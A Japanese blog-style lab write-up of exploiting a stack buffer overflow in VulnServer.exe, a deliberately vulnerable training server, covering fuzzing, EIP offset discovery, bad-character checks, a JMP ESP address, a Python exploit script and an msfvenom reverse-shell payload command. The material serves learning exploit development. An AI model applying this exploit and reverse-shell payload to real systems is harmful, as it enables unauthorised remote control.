速習・ペンテスト(Windows BOF)

「Lab 内で、VulnServer(実行ファイルは VulnServer.exe)が起動している Windows マシンを攻撃し、バックドアを仕込んでください」 という問題を解いている。CTF の問題ではない。初学者向けの学習用につくられた教材を使っている。このため、VulnServer は、あえて、OS のセキュリティ機構を使っていない。高度な技術を知らなくても、バッファオーバフローの脆弱性を利用して、古典的な方法(リターンアドレスの書きかえ + JMP ESP)を用い、プログラムの制御を奪う方法を理解できるようになっている*1
このような、易しいはずの問題なのだが、現状、うまくいっていない。とりあえず、できたところまでをメモしておく。
なお、VulnServer.exe という、よくわからないサービスを提供するだろう実行ファイルは、手元にあるという想定。


まずは、VulnServer.exe が、どんなプログラムなのか知りたい。手元の Windows 7 の環境で実行し、netstat で見てみると、TCP ポート 5555 をバインドし、サーバプロセスとして動作している。とりあえず、LinuxKali Linux を使った)から、Netcat で接続してみる。

  nc -nv xx.xx.xx.xx 5555
  (UNKNOWN) [xx.xx.xx.xx] 5555 (?) open
  >Hello There.

OK。プロンプトが返ってくる。
この後、プロンプトで、適当にコマンドを打ってみるものの、エラーばかりが返ってきて、いっこうに先に進まず。BinText で、文字列を抽出してみるも、どれがコマンドかについて、判断できず。
仕方がないので、いきなり IDA Pro を使った。さすがは IDA。コマンドを打った時の分岐を、キレイに描画してくれた。とりあえず、LOGIN/FILE/EXIT のコマンドを使って、ファイルのやり取りをするようなプログラムに見える。strcpy を使いまくっているので、この部分が、バッファオーバフローに脆弱なのだろう。


ここから、EIP を制御できる(好きな値を格納できる)ようになるまでを、なんとなく絵にしてみた。


とりあえず、EXIT コマンドで、コネクションを切断できることがわかったので、様々なサイズの値を投入してみる。クラッシュ時の様子を見たいので、まずは、VulnServer.exe を起動して、デバッガ(今回は、Immunity Debugger を使った)をアタッチする。アタッチ直後はポーズするので、実行ボタンを押下して動作させておく。
その上で、お約束通り(?)、文字 "A"(0x41)の数を、少しずつ増やして送り込む。LOGIN コマンドの引数のユーザ名と、FILE コマンドの引数のファイル名があやしいので、さっそく試してみた。いずれも、7,000 〜 8,000 バイト程度でクラッシュするのだが、EIP の値に変化はない。いきなりハマる。えいやで、存在しないコマンド(例えば、"XXXX")を試してみると、1,300 バイトあたりでクラッシュし、EIP の値も、"A"(0x41)で埋まっていた。これだ。
EIP の値を、ほぼほぼ制御できることがわかった。これで終わってもよいのだが、演習なので、ちゃんと最後までやりきる。


さて、こうなると、次は、入力のうち、どの部分が、EIP に格納されるのかについて知りたい。そこで、一定のパターンを持ったの文字列を生成する。便利なツールがいくつかあるので、その 1 つを利用する。次のコマンドで、1300 バイトのパターンを生成する。

  /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1300


このパターンの文字列を送りこんだところ、EIP には、"37694236" という値が入った。今度は、この "37694236" が、生成したパターンの、どこに含まれているのか知りたい。こちらも便利なツールがあるので、それを使う。

  /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1300 -q 37694236
  [*] Exact match at offset 1040


これで、入力のうち、1040 バイト目から 4 バイトが、EIP の値として格納されるとわかった。とすると、コマンド XXXX の引数として、次の文字列を送りこんでやれば、EIP にピンポイントで "BBBB" が格納されることになる。

  "A"*1040 + "B"*4 + "C"*(1300 - 1040 - 4)

この文字列を投入したところ、予想通り、EIP だけが "BBBB"("42424242")になった。そして、ESP の指す先が、"CCCC …" になった。
大成功。これで、ほぼほぼ準備は整った。


一応、コマンドの実行の際に、使うことができない文字がないか探してみる。これまでの "C"*(1300 - 1040 - 4) にかえて、次のような文字列を試してみる。

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

デバッガの、ESP の値を右クリックして、そのアドレスから先のデータを、デバッガにダンプしてみる。すると、上記の全ての値が、キレイに出力されていた。ということで、"0x00" 以外の文字は、問題なさそう("0x0A", "0x0D" も平気っぽい)。


もう一息。

あとは、クラッシュ時の EIP のアドレスを、ESP のアドレスに指定できればよい。こうなれば、ESP の指す先("CCCC …" の箇所)に、シェルコードを配置しておくことで、このシェルコードを実行することができる。
しかし、ESP のアドレスは、プログラムを起動するたびに異なる値となる。これでは、エクスプロイトが安定しない。そこで、再起動しても固定となるアドレスを探す必要がある。
これには、mona.py を用いた。Immunity Debugger の下にあるプロンプトに、!mona modules と入力して実行する。すると、次のような画面が出力される。


VulnServer.exe は、rebase、safeSEH、ASLR、NXCompat の項目が、いずれも False になっている。OS のセキュリティ機構が、機能していないことがわかる。プログラムがバッファオーバフローに弱くなるよう、わざわざ、コンパイルオプションを指定したのだろう。細かいことは、よくわからないが、rebase と ASLR が False なので、この exe ファイルは、リブートしても、同じアドレスに読み込まれるのだと思う。残りの 2 つは、よくわからない*2


いよいよ、上記 『クラッシュ時の EIP のアドレスを、ESP のアドレスに指定できればよい』 の実現へ。お約束の JMP ESP を探す。
デバッガにおいて、「JMP ESP」、「CALL ESP」、「PUSH ESP、からの RTRN」などの命令を検索するも、ヒットしない。これは、日常茶飯事のようなので、バイナリで検索をかける。ニーモニックをバイナリの 16 進数表示に変換してくれる便利なツールがあるので、それを使う。

  /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
  nasm > jmp esp
  00000000  FFE4              jmp esp

これで、JMP ESP は、FFE4 だとわかる。
このプログラム VulnServer.exe は、DLL はなく exe のみなので、あとは JMP ESP が含まれていることを祈るだけ(mona お願い、見つけて)。

  !mona find -s "\xff\xe4" -m VulnServer.exe

と、アドレス 65D11D71 に、1 件だけひっかかった。ぎりぎりセーフ。これで、完全に準備完了。次のスクリプトを流してみる。

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "A" * 1040 + "\x71\x1d\xd1\x65" + "C" * (1300 - 1040 - 4)

try:
    print "\nSending evil buffer..."

    s.connect(('xx.xx.xx.xx',5555))
    data = s.recv(1024)
    s.send('XXXX ' + buffer + '\r\n')

    print "\nDone!."
except:
    print "Could not connect to VulnServer!"


デバッガ上では、こんな感じ↓になった。もう満足。


最後に、ツールを使って、シェルコードを作成する。ここは、おもいっきりサボる。"CCCC …" のかわりに、出力されたシェルコードを埋めこめば、完成。

  msfvenom -p windows/shell_reverse_tcp LHOST=xx.xx.xx.xx -f c -e x86/shikata_ga_nai -b "\x00"


というはずだったのだが。どこかのタイミングで、EIP に "65D11D71" を入れることができなくなってしまった。"BBBB" の箇所に "65D11D71" を入れると、なぜか、"CCCC …" の後ろのアドレスが、EIP に設定されてしまうようになった。

"65D11D72" 以上の値だと、うまくいく。また、"65D11D6x" 以下の値でも、うまくいく。
OS の再起動なども行ってみたが、状況は変わらず。一体、何が問題なのかわからず、行き詰ってしまった。。
後日、再挑戦。

*1:というわけで、最近の Windows アプリケーションには、まったく通用しませんので、悪しからず。

*2:safeSEH は、ソフトウェア DEP に関係していそう。NXCompat は、ハードウェア DEP に関係していそう。とりあえず、調査は後回し(にしているから、中途半端な学習ばかりになるんだろうなぁ)。